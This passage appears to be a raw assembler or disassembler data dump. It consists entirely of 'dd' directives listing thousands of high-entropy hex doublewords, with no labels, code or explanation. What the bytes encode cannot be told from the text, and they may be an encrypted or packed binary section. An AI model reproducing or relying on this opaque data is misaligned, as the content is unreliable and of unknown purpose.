0C464343Ah, 0CD8C25E9h, 7C9801Bh, 5A68005Ch, 0AFC29460h dd 0DCF5A1C9h, 0ED94A16Ch, 692F528Fh, 20A55866h, 2297C75Dh dd 902D1DC7h, 27059090h, 404A0685h, 0E1090809h, 79726CFEh dd 0BF9EB421h, 6882E5A6h, 1066096Dh, 0C77603BFh, 599025A5h dd 3D0C857h, 43C688F0h, 0EA3F821Eh, 0F7BDB1FBh, 0B4116967h dd 83287BC8h, 532940A4h, 0B05BB72Eh, 0F7242410h, 4987A687h dd 7AD98800h, 0E9181CF4h, 0C277A451h, 641A17F1h, 50980074h dd 0F74F0F1Bh, 751CD260h, 27A3C089h, 0BB2BD1E9h, 789E5E8Eh dd 6A5D9970h, 0F0559433h, 0EB7FFE34h, 4167351Fh, 0CB83E5A6h dd 310AE8C1h, 0CCD7BBBCh, 721B2BE2h, 0A62720B7h, 414E6812h dd 0BB36A7F3h, 7A98F8E7h, 0E6C4841h, 0EA309873h, 4B7C09A2h dd 4DA5B3Bh, 74319025h, 0D92AECF3h, 4E511F3Dh, 84040B9h dd 0D5E72FE9h, 1C5D4D9h, 770C14B0h, 85892CD6h, 13A6AC83h dd 0B3E7B85Fh, 0BD250350h, 68E10C7Bh, 0ED3764D7h, 610807EBh dd 0BAB44D78h, 4169B6FCh, 685088F4h, 0A9544F22h, 0CBE985BBh dd 3DC6A5EFh, 0A969F2Ch, 84BAA540h, 1297Dh, 47A1F281h dd 0E94A15E8h, 4588AF25h, 0C7C02F11h, 60826D5Fh, 70669895h dd 2DEDB659h, 48105F7Eh, 8B49A60h, 0E77C8853h, 1112DE25h dd 0F9ED51F0h, 222D052Bh, 0AFF498BFh, 955EFAAh, 16075FFh dd 0A69C5FD3h, 728F284Ah, 8B7D6931h, 96B4D0B3h, 65D965ACh dd 2CF4E9EDh, 86488C28h, 997A3C02h, 12FD01Dh, 35DF0ACBh dd 2ABDF3E9h, 876FF831h, 5936C124h, 6D819B58h, 0A52AD51Ah dd 0C3F0A2h, 8007E3C0h, 0DE30FDF3h, 3A5F5B48h, 77957051h dd 0C71F8294h, 0ED64576h, 0C23D3846h, 22D6901Ah, 0E84A8C32h dd 763B9C00h, 0ED0161F0h, 8041421h, 0C85021AAh, 0DFAC6BA5h dd 0BD9C6986h, 0E60AFC25h, 12A203Dh, 813CE927h, 7BCD80FCh dd 0E00BF5CCh, 30590BEFh, 0C0555BF9h, 27E9D007h, 15D5AF12h dd 9CC2854h, 47FB62A0h, 171CC780h, 0B6C03E26h, 74F13FAEh dd 25BF0257h, 0D1392259h, 0A687CB60h, 246FF5BCh, 8FEE6FBEh dd 5471127Ah, 91EE8E34h, 89D00333h, 5940D2F3h, 9E1C9057h dd 98EFEE53h, 0CE632960h, 14319472h, 0DB5A6741h, 6AAE0CDEh dd 0A65F9041h, 0DE9D03A5h, 6F874970h, 0CA734182h, 5602CB79h dd 4629C568h, 3943F17Fh, 9DC6CB58h, 5FE97EE0h, 0E9621659h dd 3768830Eh, 9579191Ah, 64F0ADC9h, 5C16BE9Bh, 0DFF01FD3h dd 0F7E92A41h, 0B8F595F4h, 978315DCh, 0D368787Ch, 0AC10800Fh dd 0B9F4E05h, 0D1675630h, 0B9FF3D02h, 9609B4E4h, 7E22516Eh dd 0F5823C0Bh, 0DB9742Dh, 236E27Fh, 0F67EB9Dh, 2E39363h dd 0BEB1A28Fh, 3D701864h, 0CF27F37Ah, 75D93A55h, 0C22088E4h dd 8A62B782h, 0C9EFD861h, 455BF4FBh, 993A599Fh, 7F9B06B2h dd 51C368FCh, 0DA095954h, 7E896A22h, 95E20251h, 2C68A576h dd 124A8D68h, 7038DA32h, 83BE043Bh, 0EE567052h, 14784CA0h dd 0D3A98FADh, 0BD4CE91Ah, 44968100h, 36B032C9h, 6AF55E9Fh dd 734C002Ch, 0E98142E3h, 0A50D486Eh, 0C1FC5923h, 0E7B30CC5h dd 2C2F7B50h, 0BF9655F9h, 0E04B8CB0h, 0BA2F21AFh, 20EF2ADDh dd 0CCA223F9h, 7926C07Dh, 56C7E462h, 5F85DCA2h, 3C3192CCh dd 94865B63h, 0FB07BD6Dh, 0B217087Fh, 0D16C5110h, 5B547359h dd 257BACB3h, 96487F13h, 0C3569B9h, 5AB1EE20h, 0EC12596Ch dd 5E84359Ah, 1918C86Fh, 90EF8003h, 1087D58h, 0B353F0B1h dd 41B551CEh, 2E4BEDF8h, 69C0340Eh, 9815606h, 4C5EE3EAh dd 1416774Bh, 7B48532Eh, 0D43D140h, 13D9867h, 62EF4C79h dd 236835E9h, 93513B99h, 0D78C4D4Bh, 0D43927E9h, 0D52085E6h dd 275C7E9Dh, 6E904F31h, 8D5E0F1Fh, 40875EEBh, 49FE39AAh dd 0B8795056h, 53BB5700h, 3504E0C1h, 0C566135Ah, 0EF0613BFh dd 0F52F848Ah, 75BD9ADFh, 0ADC2870Ch, 0A3A0617h, 762190EBh dd 7279E758h, 0D02C2BDh, 17010C08h, 6F3C99E9h, 0ECCEFE12h dd 0A5393D02h, 59268540h, 6BCF92C8h, 42DD8528h, 706BFD96h dd 0AFC0B2F1h, 4E165F44h, 9A80E020h, 0B2515ED8h, 6B77C0BFh dd 585B39A3h, 0AD204243h, 0C2F1FBF8h, 0C587595Dh, 1828AE56h dd 3C440B68h, 0D9D62A98h, 939F158h, 5159F026h, 2CD6CAE6h dd 84CE8AFAh, 9191B4E9h, 0C8C1C1B1h, 247CECADh, 8406ECE3h dd 7093B021h, 53418488h, 0EA8DEB52h, 80C07576h, 4A905552h dd 0F5280502h, 0C0EE814Ah, 0C0606241h, 0D9BD4C0Ch, 84988987h dd 10EFBA0Fh, 7DE6F4B9h, 21926D02h, 5F137FE9h, 8EEC71A3h dd 73B80C1Eh, 2DBDC9h, 0AF050732h, 6E482D55h, 92585656h dd 25AB2566h, 2BF29D50h, 30C13A3Bh, 13FA1205h, 78494CA3h dd 0D45FAD05h, 4FE29043h, 609D7126h, 95C32961h, 6EEC4322h dd 56180500h, 84025F66h, 5B070997h, 817B5D91h, 17F7BE2Bh dd 828FCCCh, 7FA5FD9Fh, 648E4CA0h, 9B76CCBh, 20BCD2C4h dd 759590E5h, 7FA2DA18h, 55E7AB9Ch, 0D3BC70C2h, 0C6F4BDEAh dd 6ADA292Fh, 5E1E4409h, 581F464Ah, 3E00F256h, 0E9545822h dd 0D49DFFA4h, 0EB5EE4D1h, 464B3899h, 337A5127h, 9ED194BDh dd 58F42532h, 5D45E978h, 4C3C4B3Eh, 0D68B7E49h, 4D8934DCh dd 0ECD6DE1Ah, 8079C52h, 0F32915DBh, 813EB85h, 69983409h dd 680018BFh, 659150D4h, 9AB2D5B7h, 951B462Ah, 31403264h dd 9C982FE9h, 6F4325Dh, 4A0C99E2h, 0F9CDFB50h, 189B8420h dd 7C4CA84Eh, 9160D02h, 3949BA20h, 3B34605h, 4823445Ch dd 0D793FA31h, 0DFF7080Fh dd 9C001287h, 6C6EE5EAh, 0B3E1A816h, 59A8B88Fh, 417805Ch dd 0B8400E32h, 0A851D31Ch, 0D43C981Dh, 376D3D53h, 8DAF1497h dd 5F816A20h, 0D03E81C4h, 5D23C63Ch, 90278098h, 1596FD87h dd 539E9995h, 0B735A370h, 0C7D0A9A4h, 7152B7F7h, 0EC040ABAh dd 0D4B8E3BBh, 41EACD81h, 34DB7C80h, 2E70B086h, 4BDE73BFh dd 0BE097D7h, 1AAB9DE9h, 68AA105Dh, 97407052h, 0F772905Eh dd 83547816h, 0DDED01A8h, 17F66856h, 42C9C829h, 98BBB72Fh dd 272B101Ah, 8551AF0h, 58140888h, 30FB4E13h, 10F3EDFCh dd 0E9133109h, 28E2402Eh, 581EBCDDh, 0F4B58DC5h, 0D968853Ch dd 50A03011h, 43B52B0h, 0E9039E01h, 0D3EEF857h, 200A51EBh dd 0DC1C34C2h, 18F1008h, 0CB05B368h, 0FD2A202Bh, 6B88B54Bh dd 4B1909EDh, 0C5852723h, 0AE77BA0Ah, 26B01FB3h, 425B5F64h dd 227DB317h, 0BBADE33h, 6887F2E2h, 138DB256h, 0FC9664F1h dd 0FFCEEFB4h, 880F316Dh, 1A0458C6h, 46AE28Ah, 48CE021Eh dd 0C68ADEBDh, 0BB5A170Ch, 256DB100h, 0BA71E967h, 685809EFh dd 5C7404B1h, 9671D5F2h, 48E7F55Ah, 807D1A5h, 8C307CD0h dd 5AF1091Ah, 5C05A033h, 5667702Fh, 9D182744h, 0E1B6D3E9h dd 5A455625h, 0A859D802h, 8319B003h, 674BC9C2h, 0C4F6A59Eh dd 0AB1BF35Ah, 6461BC3h, 0D7233914h, 53170C2Bh, 84041794h dd 5167AFDh, 4FB4094Bh, 95ABEEF7h, 97A0647Dh, 94C910Bh dd 64E7749Fh, 4E1CE835h, 0EF2AC5B5h, 7FE9C338h, 7214B7EAh dd 80D8D1BFh, 6CCE2EA6h, 0E54AD15Dh, 493BAFFCh, 36D99C98h dd 6D0F16F2h, 0DCEA0111h, 5D5B08A8h, 0A2B5E0ECh, 5F3F3F4Eh dd 52044EF6h, 0AA3363E9h, 5EF75D70h, 55C52568h, 555A9656h dd 4B5B45C0h, 0EF812C17h, 0CF293BD0h, 0EB84BE9h, 6AC65FAFh dd 0D6B70CE6h, 3E9719BEh, 3416F4D3h, 0A01C65B7h, 0F9DE5DEFh dd 50B5F392h, 7F407BA4h, 0E1F43C80h, 65934119h, 128740E2h dd 0A3607C6Ah, 5005099Ah, 0D7010072h, 1CDBBB53h, 0CAA06D33h dd 5EEE82Eh, 5B35FAB7h, 0EA24C424h, 0C4FE9F65h, 0B7B3C01Eh dd 0A5B0E820h, 5C3BA127h, 175ECB83h, 0D7D29A29h, 7BE03DE0h dd 6495B772h, 415D69F7h, 0AEBF8DD9h, 689D4238h, 96355456h dd 0C98BC3F9h, 40553362h, 1FC8CA11h, 4C35711Ch, 0C28BB687h dd 8002F90Ch, 3DC1266Eh, 0F28408EAh, 0AF2427A2h, 20BB3157h dd 6028C593h, 725F472Fh, 0B0883A5h, 0E138350Ch, 0E9C1FADCh dd 2D7FAFD7h, 3455F57Dh, 2D055A6Dh, 7D2A0274h, 0A35904FFh dd 9BB5074Bh, 6C9FEC07h, 0C6B312C1h, 3B82C2C2h, 83BCD3B5h dd 0B44C7AEEh, 7FD601C9h, 448C08B9h, 5F32FE8Bh, 41D10631h dd 493503EEh, 58DEFB01h, 1BF7283Ah, 0D19798B2h, 5EE970ECh dd 0BFB47A4Bh, 6E3C162Eh, 0E2780160h, 2F6A2C2Ah, 4EA2E4E4h dd 0B36120C8h, 0D9003085h, 59CC285Bh, 1BFBEB80h, 4FE546E9h dd 0D3570DC0h, 2B5A1F7Bh, 8059C709h, 5473B8F2h, 145EBC29h dd 0E91208EEh, 0E48DB192h, 37012A6Ah, 0F9CD2D31h, 0BB2AE80Eh dd 8BFD590Bh, 5BFFF076h, 0E0C6F95Ah, 0C1A90CE9h, 258ECF91h dd 0E7FC20DDh, 0AD543A3Ah, 8799514Ah, 0ABE36CE8h, 558EA9D5h dd 14655DC2h, 69FE5C93h, 6D216AACh, 5002431h, 2C2FDC89h dd 0BDF3585Dh, 0C1FEE6DAh, 827DFD28h, 15E65ABDh, 969D6BE9h dd 0EC67B803h, 9ED94E93h, 0FDE83EADh, 0DCE54B9Eh, 2F1B67D5h dd 6E0A90F5h, 0F529C179h, 2A9FA652h, 0E9A370FFh, 7FE13C4Dh dd 680960B6h, 9513F9Eh, 1C8E985h, 0ABE58FB8h, 0F7526AC5h dd 0AA1212EFh, 0E9839FB2h, 9102B3DDh, 0A05BE5C2h, 6DF8D75Eh dd 0AA640882h, 59C2E8CBh, 26CCA0ABh, 0C0EE2BF1h, 4B78569Fh dd 0E052C09Dh, 0EC6AE16Eh, 7A4AB094h, 5B96B877h, 7B30FFBAh dd 9C953B0h, 852FE93Bh, 97BD84FBh, 46E40D2Ch, 0D2A49DEFh dd 7009EFE3h, 21EC7DD0h, 81BA52F6h, 75DA4095h, 27843738h dd 2B05E1E6h, 9AB13E19h, 953B1B30h, 0C6575509h, 0F3EDBFC5h dd 0E955102Fh, 0B87B479h, 48553058h, 80A7BF68h, 5A12EDBDh dd 191662C4h, 953E13E6h, 4B1BF3DFh, 7961F6ADh, 7F78FCE9h dd 0CAEFF852h, 46512F67h, 81544EB3h, 0C22618E7h, 678D4EFDh dd 62414D2Bh, 0A092C750h, 65DC4F60h, 856C2B28h, 719ABF2Fh dd 895D9E64h, 1DD16F89h, 2CD1F0C4h, 0CC9F987h, 6806606Bh dd 9358ADh, 6A0B061Dh, 0C57A8570h, 284AA6A2h, 5F7D298Fh dd 7221D695h, 8A2A0AD2h, 8303B3CCh, 312CA935h, 4FB425EFh dd 3EE8E8Ah, 5E40395Fh, 642D0C00h, 32E94978h, 0FA22B7BBh dd 47AFB6A5h, 8A8F81C4h, 41A24BEEh, 0C473E9C2h, 2397D4D9h dd 9D5E5DE8h, 0FA872412h, 92C5A9Fh, 114F7601h, 32C2670Bh dd 125567D7h, 25DF715Ch, 420B8AC6h, 0CFC85277h, 12706C02h dd 0E19BC160h, 14F52381h, 2ABEB5FEh, 27746AE2h, 4E1CF77Fh dd 72957E95h, 7D9ECCEBh, 53F689F7h, 2FC75754h, 802F9EA4h dd 2014B72Eh, 5B6607F9h, 300CC180h, 0B05068F1h, 57E94B16h dd 0E0AE24C4h, 0B492CF9h, 0A5F33F1Fh, 0BBEBC098h, 0FD5EE0B5h dd 81D721E8h, 0DE06B5Dh, 20BFEEFBh, 0E6902906h, 35AEC94Fh dd 8F50FA54h, 80D19793h, 9C7FFF59h, 554C5876h, 59A927E0h dd 5E6807EDh, 0ED5D092Ah, 8E6806E5h, 0A755FD18h, 8D912B95h dd 1EED8AB9h, 0BA09163Ch, 0BF0B0CD3h, 0AA29EBD7h, 45665574h dd 0BD81182h, 1D626309h, 0C0095027h, 4D8D0825h, 3DDE48EAh dd 0C44293Eh, 49E95E02h, 0E216F995h, 0BD00CD4Bh, 14A83E71h dd 0E3DDF720h, 0D8138D48h, 5425AC44h, 1B985A4Dh, 8F37B205h dd 0CF040905h, 0EAFCE38Ah, 0CD685080h, 807BB0Fh, 0F6A30558h dd 0C1F74067h, 0A4067689h, 0AC7E1256h, 91D7A1B5h, 6F19205h dd 660AC3D6h, 0F606A246h, 710A500Dh, 0BD334BC3h, 67184C84h dd 7DEB5E10h, 8E3E0147h, 83559E2Dh, 2407705h, 0E9429447h dd 0CD518029h, 5E0996BCh, 5962BF71h, 4F57EF04h, 0AC0413FFh dd 0F1EE016h, 1281607h, 682DEBFEh, 2C6C4761h, 16E3A64Ah dd 7640497Ah, 8FC4BB53h, 0A9E34A32h, 0F28410C8h, 4D23BE02h dd 0FBE17366h, 7432AD22h, 2350176h, 30FAA6B0h, 680D1C79h dd 0B5016F55h, 0D8EE0804h, 360BEA95h, 0A5381E47h, 81AC206h dd 792182BBh, 2D94F5C1h, 5408BA9Bh, 106814A8h, 15705927h dd 0D812829h, 100317BDh, 0B54505EDh, 9C0ED9E8h, 1794A9Eh dd 57D518BCh, 4AE90101h, 5CE10B7Ah, 0D25AB174h, 82734FEFh dd 867E5D45h, 94365858h, 2D20EA2Dh, 5EAC4654h, 1C556A70h dd 0D6E9052Eh, 5C788865h, 0F734D5E8h, 0B68008D2h, 3AC6A5Ah dd 5D535535h, 0DDE84B5Bh, 0A602B951h, 21151374h, 203344CDh dd 9F946D4Ah, 0A7964B4Fh, 0A860811Fh, 77032C51h, 97C10549h dd 0B8CA881Ah, 0D23B52A5h, 3A42E62Dh, 0FF29FFC6h, 0F416BEF6h dd 77B494F0h, 84F2279Bh, 12071324h, 8B665C0Ah, 59D8C681h dd 64214604h, 0E6560A20h, 4F4A069Dh, 285DBEE9h, 83D0514h dd 0AFB84BC6h, 1DDF5205h, 0CC9BC00Ch, 3E3BB769h, 0EF507801h dd 0E2965808h, 0D0FA7F94h, 441A1FC4h, 94E85E17h, 4A115610h dd 0DBB8B7E8h, 94A37D58h, 4DCB03EFh, 45D576Ch, 8E16640Eh dd 0AB24953Ah, 0BB9252A6h, 68DDCD03h, 7C14BC4Dh, 0E811E234h dd 500B1BBEh, 59A2B7B2h, 0EEB341B8h, 81B95FBh, 0CB295B0Ch dd 64680B63h, 48F354h, 2C0366A3h, 0B154B7E9h, 537087CCh dd 0B9947597h, 6796EF01h dd 0CF010372h, 8138844h, 0C83F3089h, 260FBA8Fh, 46643670h dd 2C147508h, 119EEC1h, 0DF688FF6h, 7B1CB52Fh, 0B54431EAh dd 7AED6F7Dh, 0F24BC058h, 99AA93AEh, 4BFC3BDCh, 2238020Eh dd 4F6E0853h, 9DB7625h, 52251B5Dh, 0CD37EF58h, 0CB9FB5D2h dd 704EB1EDh, 6DBF84C3h, 820623DCh, 44A53CE9h, 74D538A4h dd 88987EBDh, 59CD5115h, 509B079Dh, 88D5EAC5h, 0D1C001BBh dd 0CC8145EDh, 0FA2D2FEEh, 9620D052h, 0FFA30B81h, 0E762745Ch dd 0F680012Ch, 6BF5C1A6h, 65E1AAB2h, 2C67D8Ah, 49B26FBAh dd 0BDC7864Eh, 0F189090Fh, 4BC210E9h, 7D75095Fh, 98C3496h dd 53B56816h, 0A626036h, 4D922F0Fh, 6115029Dh, 51405717h dd 0F6502634h, 34C7ED0h, 62F1819Ch, 0FC7AC910h, 0E42A7F05h dd 0E6309188h, 799C3A05h, 0A1DE5BEBh, 0FAC2FEFh, 2DF031F1h dd 2B6850Eh, 19034F56h, 880B4B11h, 1218BD58h, 0BA025223h dd 0B8CD6A40h, 0B57FF55Ah, 0AA8C0D8Fh, 0F5EFEE63h, 0C9AE50A8h dd 20285F8Fh, 630BB414h, 5583EA1Eh, 804E0404h, 0C6105E9h dd 71545B63h, 566AF23Ch, 724D1C64h, 0E360060Ah, 46091943h dd 40C8E96Dh, 0C1EB2923h, 0F206F42h, 6A51F521h, 0FEF37C40h dd 0F81FDF95h, 615C96D8h, 4A46C7E9h, 0D5B45BFDh, 0EB21A098h dd 3B530257h, 146D6806h, 0BD60815Eh, 485B52F4h, 0B104483Dh dd 0FAC4304Fh, 5A31F345h, 687670EAh, 0A8B96D82h, 0F0F34713h dd 2191C85Eh, 5F0589BFh, 2A96D214h, 6E0B79ADh, 0F545C2C9h dd 4F965194h, 0AD7BBAE1h, 5B3F94EBh, 4029B388h, 0DEECC3B9h dd 81C4704Ch, 6B8E4ECEh, 4A683770h, 0A20E77C1h, 42DE7714h dd 0C191B062h, 783C0761h, 520929E6h, 7CA790E9h, 0FE4C7910h dd 0BD16147Fh, 0AF6617E8h, 73927FC5h, 4D4B345Fh, 9E97D96Fh dd 2A2C8956h, 61ACBA76h, 8ACB923Ch, 83D32049h, 28FA497Bh dd 32995910h, 0F17D157Bh, 7D6CEAFFh, 0F78BD4D1h, 0ADB37CD1h dd 1E1927F6h, 29D4D30Ch, 3609BF79h, 9D909657h, 0CCA76A2h dd 7CBB5302h, 0AC67436Fh, 2CAC0A4Bh, 2F842778h, 8960D4F4h dd 9670B86Dh, 0DCDEA745h, 0D2B508A0h, 15EC9DC0h, 513C5C95h dd 28269B5h, 592AF8EEh, 50BBD84Bh, 55E908C6h, 803FB425h dd 4ED267F5h, 28D06880h, 0EC9EBCB9h, 9F13952Bh, 3BDC1FC1h dd 502A2A7h, 7EB95BBEh, 442D30E1h, 226CD607h, 93CFFE3Bh dd 0A2F453D3h, 5CA04038h, 0D56BA8BEh, 0E8D45CB1h, 0BD01306Dh dd 0A488502Bh, 0FF84D529h, 0BEF3FEE9h, 0FE85FA49h, 1CD72D1Bh dd 3BE92C31h, 8B7EAF70h, 3283A113h, 2BC80752h, 0C2204432h dd 407EC769h, 3B4EF682h, 6605440Fh, 0CC0111FBh, 2AB6B234h dd 7508F0AAh, 37B5321Fh, 0DB686D4Dh, 13CDCB2Bh, 87EC2BEFh dd 0AC7E12D6h, 1AE9673h, 0E15EA9FDh, 0FE2C0034h, 2812B837h dd 501D542Ah, 0BF19A702h, 0B0F244C6h, 974F049h, 0F97A3668h dd 0BA189B2h, 0C7648BF6h, 0CBF724A1h, 0ACAE8416h, 98EFE4A2h dd 0B44A68DCh, 53CBEEFCh, 0E9F8ACF4h, 91224AC1h, 1155BA8h dd 0FCBF5241h, 58AC90DBh, 40495006h, 77BF0951h, 13B1D0C8h dd 367A1A68h, 0E917732Eh, 0CBAB8B8Eh, 0E4AC4B96h, 973DA686h dd 9BD8CB5Ah, 32C32780h, 0EB759558h, 0D9AE06C9h, 526641F4h dd 0C7003B53h, 0E9CB8815h, 9FC8BF64h, 3C14F9E7h, 281548Bh dd 0E6462C1Ch, 0CDC5521h, 0A0DBF18Eh, 8905CBBEh, 49C81C53h dd 72DD401h, 0B110F44Ch, 73BD5FFEh, 507977C1h, 35E73054h dd 724FC0FCh, 49B83640h, 4B29450Bh, 0D0B2AC74h, 0EAF24E0Ch dd 543440D2h, 5D4E9622h, 65A7BC9Eh, 16418AD0h, 657569E8h dd 0C076279Dh, 2E9DFF69h, 43A17125h, 357B7343h, 0BFD28917h dd 41528BE0h, 0F90F3E6Ah, 0C899C2EEh, 59787D21h, 0F66BE409h dd 20407E36h, 8474BF07h, 42D9E947h, 2F025F80h, 0AD04BD50h dd 548B44FEh, 515306AAh, 33845E2Eh, 0C9D91993h, 0EC002B6Ch dd 79D4058Fh, 3A6E59E9h, 2878B300h, 0F65B66DDh, 0C5FED503h dd 7D07E5C0h, 3B6F414Eh, 0F1AE8694h, 283E6131h, 506F8B8Ch dd 20519514h, 289DE9E1h, 5804A562h, 0AB76DEA0h, 0E913B3B9h dd 51C5F1h, 0C9B25253h, 284ED1B1h, 74D474F2h, 6448983Fh dd 38E7E618h, 5EB98868h, 3FC1A017h, 0E3DCF289h, 0CA9DC18Ch dd 600F337Eh, 744A545Ch, 73E55A40h, 97156E20h, 0E9912257h dd 7F2F6A48h, 8C765E4Ah, 20B8DABDh, 76E01D2Dh, 68775258h dd 41CC494Fh, 0CD593146h, 4DC6ADAh, 0EFF992EBh, 0D19A9C0h dd 816E4900h, 0E05A7BE3h, 9C0CC04Ah, 0E91BA114h, 49D18049h dd 0EC00D666h, 33F845B2h, 0C57A4DE9h, 15535825h, 163D6807h dd 55E5D509h, 28B0C020h, 0CC3F42BDh, 0A9894EB2h, 0E921842Ah dd 0B1C935BEh, 3AFB2EA1h, 5EE848EDh, 9FBB7D5h, 7355D098h dd 9DD6C939h, 5639574Bh, 2CAE2B5Bh, 52600A7Ah, 0BE43ED49h dd 0F4AB4BF4h, 0EC4133E0h, 60996641h, 0AE4B29BFh, 0A4D24F1Eh dd 63312682h, 0ABA94ED5h, 0FAE9D863h, 0C5B5AE36h, 74BEAF9Ch dd 0F513F447h, 179D9BBAh, 8B42D9Fh, 0D2AE5E9Dh, 52B58244h dd 11016120h, 0A8A1CFE9h, 7F7891CCh, 5E82B727h, 2FE86887h dd 0E2F7C1C2h, 884DFF7Ch, 0CAE3A424h, 55584C9Eh, 12DDA85Eh dd 0AB406C66h, 0C25A12F3h, 0D8012D9Fh, 2EE13DD0h, 14138BFh dd 2CFD6B7Dh, 60A9A4F8h, 7741E818h, 5781E5CBh, 521AC42h dd 0C6E4F45Ah, 0A52BFD41h, 3A8EF1C4h, 9B418FCh, 9C622619h dd 2AD38461h, 226F8DB1h, 84D15A40h, 0CB5D3443h, 0B0F2DB5Eh dd 5AC52030h, 72BF8258h, 4A11F512h, 5EFB2CABh, 67CB34C8h dd 0E081B9BCh, 3CAF5B67h, 8782ACB2h, 0DCD98111h, 449D4A44h dd 0CEFCA0E1h, 0EA06160Bh, 0FB20176Ch, 0DA93435Ch, 0DE1474D2h dd 0AC4527ECh, 8EAA5E96h, 20769E2h, 5ED4E95Dh, 39F98BF8h dd 408CE0F9h, 703B1BF5h, 0CBFC951Ch, 90BFE5CAh, 0B6486B5Ah dd 0FC66B9C9h, 0ECF2FA95h, 48E403EAh, 0CA292F2Eh, 5081C41h dd 5A09BCF1h, 41398BE0h, 4ECC39B2h, 0FF9687FCh, 0C020B729h dd 506D77D4h, 17CAB43Dh, 0A1F07BD1h, 0EEF2E036h, 3FF8BF09h dd 9DE60229h, 5071FE6Eh, 7F827BCBh, 0D60613C6h, 425EF287h dd 0F8911E46h, 0D530BED3h, 6D47ED68h, 0D46CE527h, 828F094Bh dd 58FD3975h, 0C442B22Eh, 0FA162087h, 9AB2C17h, 0EE804B8Eh dd 76CCF734h, 45B7317Dh, 0E689972Dh, 0CE5E783Fh, 1FFF0B44h dd 680C90A2h, 52DD4C2Ah, 5D5C41CBh, 0C328CB48h, 0F89FB5ECh dd 14C56085h, 0D075DBB8h, 5D263F7Ah, 0DF4B973Ah, 7B0CADADh dd 1750B9F4h, 0E75637E9h, 5BD8138Fh, 84A15DBCh, 18203BB7h dd 2CB0B5F2h, 1290EC73h, 4FA3A297h, 5FC96CB9h, 0BFA9DD84h dd 82684860h, 0B08A885Bh, 9699CEBDh, 68CA8CB6h, 0D8792C1Ch dd 8F64833h, 0A959EA61h, 7DDEA2D6h, 0E2E04080h, 43659771h dd 0BD7FF15h, 87DBF759h, 67F71383h, 92FB8733h, 0F3E043CFh dd 11086FD3h, 20910197h, 4AF64BE5h, 0F1007EDBh, 3ACF525Eh dd 0B506E1C1h, 0FB47D4C2h, 0DC183E02h, 0DB90DD0Dh, 0B9A55358h dd 0C2B3FC25h, 9254793Ch, 964E8B50h, 0CFAE63DCh, 0C5BD2600h dd 81325020h, 641C01F5h, 0A1E97B5Fh, 10B92A7Fh, 0A881C44Bh dd 0B140938Bh, 6C5BF681h, 0E4644AC0h, 4404AEB9h, 0F329DF97h dd 2102C7CBh, 0BB65E9DAh, 3500C245h, 0EDB07E94h, 0F5C25489h dd 0B9E91356h, 4FD5A496h, 41C41B0Bh, 43FF8289h, 42F879DEh dd 0A19A5D40h, 5850055Ch dd 0ACF84B68h, 0B850C031h, 4B9B0C94h, 3E6EA91Fh, 133FC11Bh dd 878CAAE1h, 0E0EF4179h, 0EC95386Ah, 2F1E3154h, 0CAD188AFh dd 0F25A5161h, 0E696262h, 8AF3C9DEh, 9A874B08h, 1360F607h dd 0A2404AF5h, 0B15385E6h, 1CE9123Bh, 4329BF8Ch, 80C1BD25h dd 0AFEC2013h, 0BC29EC8h, 670BAED5h, 41383A75h, 146BF0F9h dd 0B902AE3Fh, 4FC1167Ah, 0AF7648C1h, 16C8F00Dh, 0BC52B068h dd 405EB2B6h, 939F541h, 0DF290579h, 0A4C76F38h, 28F62612h dd 0B2AB508h, 7905028Fh, 53D92867h, 0F2ABC9F8h, 0EE80FE80h dd 6CE6AD4Fh, 64F05270h, 54E6E90Bh, 0F173FC5Eh, 0DE5779F9h dd 74B87765h, 2FFD4538h, 3DF4E497h, 258739C3h, 485CC593h dd 0DF76F142h, 5527B3D3h, 4D75D823h, 69C37FE2h, 7B0E27F8h dd 14A2290h, 1BD1B334h, 4C52657h, 0F37509FAh, 967D25BDh dd 3B7BA116h, 18C3A42Eh, 33635913h, 4900C1F3h, 5FBBE181h dd 6C9540BAh, 8D3C55C3h, 3F93D281h, 0F329B606h, 5D4085EDh dd 49E15E4Eh, 0AB7EB4D3h, 8653E565h, 0F96298BAh, 985BB040h dd 68953DD0h, 3CF431A8h, 33BB67C3h, 0D05CF702h, 87776513h dd 2B756808h, 1F348BAAh, 71AFD7E9h, 0A7E817Dh, 6F3128AFh dd 0C54F5CB6h, 5CEFB96h, 1356B840h, 963D603h, 0FF24698Eh dd 3AC5B62Ch, 7A7762FEh, 927F0E66h, 0C15967DDh, 0F65F6805h dd 2DBBE5C3h, 39FD0F4Fh, 233CEF4Ah, 81614AE9h, 0DD5E5D6Fh dd 7BAF657Eh, 0B589C9E0h, 0F627CC53h, 0A34A1492h, 6909A102h dd 0B1FC2148h, 0AF7848Bh, 0E961DA86h, 47D595Eh, 486FED5Eh dd 4CE04C3h, 0D9C00D4Bh, 50C83AB0h, 1F56F852h, 30F9628h dd 0B85FB4E5h, 0DFF53C05h, 0DA00A724h, 0B56973E9h, 5662BF41h dd 160BC07Bh, 271D16E1h, 165D7A99h, 0F53954Ah, 5D65120Bh dd 582610C5h, 228DE9C1h, 0EBE3D581h, 70576150h, 7995999Fh dd 10856A60h, 20B60773h, 0EE96F728h, 9C5964B9h, 8171BA7Bh dd 810471E1h, 6E47FCF5h, 8100648Bh, 6D2F91EFh, 0F748014Ah dd 5E084067h, 0E88C874Fh, 3B3F2EE9h, 0A3CBBD9h, 0FB3E8112h dd 8F13A661h, 0B40BEC06h, 805E0311h, 443AC802h, 9F09073h dd 94AA2C2Bh, 67F667C8h, 92E97212h, 2D731537h, 0B95C04A6h dd 0AA193605h, 63731B08h, 1B4E01BEh, 221954E3h, 60E5A513h dd 74E37D61h, 51135DEBh, 1D943B23h, 299BA0BEh, 54E911C2h dd 0F0C3E669h, 85CFD658h, 0DF389C55h, 0B7E970h, 408ABAE3h dd 0ED7EE51Ah, 8F95E47h, 0C50C5CE3h, 243060E9h, 208EA043h dd 2A873E05h, 0C9502619h, 34013AEAh, 28C90718h, 2499320h dd 5236BC4Dh, 29FD5A5Dh, 6251D17Ch, 0C5F60E42h, 0A48CBC82h dd 2F60D56Bh, 0D9178E05h, 0B5BC2D72h, 12544F2Ch, 0C9DBE94Dh dd 0BF45D788h, 1446E38h, 0A86866D8h, 98B5F06Ah, 2020E695h dd 4D4829B1h, 40FE07CBh, 0A3C2ED75h, 4AA07CCCh, 0BFCA131Bh dd 1268E638h, 5320774h, 0F3168810h, 82267ED2h, 116A733Eh dd 4629FF0Bh, 4F50BFCh, 6848667Dh, 0BB970130h, 8528D980h dd 1FC53793h, 9C5DADF4h, 9568131Fh, 2BD2C906h, 58C546F8h dd 0BB484926h, 44B49802h, 32DAED80h, 687554CDh, 